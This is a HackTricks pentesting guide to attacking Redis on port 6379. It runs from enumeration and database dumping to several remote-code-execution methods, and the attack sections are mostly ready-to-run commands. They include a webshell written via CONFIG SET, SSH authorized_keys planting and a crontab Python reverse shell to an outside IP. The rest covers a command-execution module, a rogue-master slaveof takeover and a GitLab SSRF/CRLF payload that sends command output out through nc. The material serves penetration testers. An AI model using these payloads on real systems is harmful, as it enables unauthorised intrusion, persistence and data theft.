hacktricks/pentesting/6379-pentesting-redis.md
2021-05-27 10:20:50 +00:00

244 lines
12 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Pentesting Redis
## Basic Information
Redis is an open source \(BSD licensed\), in-memory **data structure store**, used as a **database**, cache and message broker \(from [here](https://redis.io/topics/introduction)\). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
**Default port:** 6379
```text
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Automatic Enumeration
Some automated tools that can help to obtain info from a redis instance:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Manual Enumeration
### Banner
Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** \(but this is very weird\).
In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned:
```text
-NOAUTH Authentication required.
```
In this last case, this means that **you need valid credentials** to access the Redis instance.
### Redis Authentication
**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.
It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.
Also, a **username** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file.
{% hint style="info" %}
If only password is configured the username used is "**default**".
Also, note that there is **no way to find externally** if Redis was configured with only password or username+password.
{% endhint %}
In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../brute-force.md#redis) ****it.
In case you found valid credentials you need to **authenticate the session** after establishing the connection with the command:
```bash
AUTH <username> <password>
```
**Valid credentials** will be responded with: `+OK`
### **Authenticated enumeration**
If the Redis instance is accepting **anonymous** connections or you found some **valid credentials**, you can **start enumerating** the service with the following commands:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Other Redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.**
Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB:
```text
rename-command FLUSHDB ""
```
More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
You can also **monitor in real time the Redis commands** executed with the command **`monitor`** or get the top **25 slowest queries** with **`slowlog get 25`**
Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
![](../.gitbook/assets/image%20%28346%29.png)
In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)\*\*\*\*
## Redis RCE
### Webshell
From: [http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html](http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)
You must know the **path** of the **Web site folder**:
```text
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.
### SSH
In the output of **`config get *`** you could find the **home** of the **redis user** \(usually _/var/lib/redis_ or _/home/redis/.ssh_\), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it:
1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`**
2. Write the public key to a file : **`(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt`**
3. Import the file into redis : **`cat foo.txt | redis-cli -h 10.85.0.52 -x set crackit`**
4. Save the public key to the **authorized\_keys** file on redis server:
```text
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /home/test/.ssh/
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id\_rsa test@10.85.0.52**
**This technique is automated here:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```text
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
The last exampleis for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
This method can also be used to earn bitcoin [yam](https://www.v2ex.com/t/286981#reply14)
### Load Redis Module
1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**.
2. Then you need some way to **upload the compiled** module
3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so`
4. **List loaded modules** to check it was correctly loaded: `MODULE LIST`
5. **Execute** **commands**:
```text
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Unload the module whenever you want: `MODULE UNLOAD mymodule`
### LUA sandbox bypass
[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dotfile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commas on the system. Also, from the same post you can see some **options to cause DoS**.
### Master-Slave Module
The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
```text
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF talking to Redis
If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
```text
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** \(maybe with a CRLF vuln\) or **POST parameters**, you will be able to send arbitrary commands to Redis.
### Example: Gitlab SSRF + CRLF to Shell
In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1\] \(this will access 127.0.0.1\), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:
```text
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is:
```text
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_For some reason \(as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from\) the exploitation worked with the `git` scheme and not with the `http` scheme._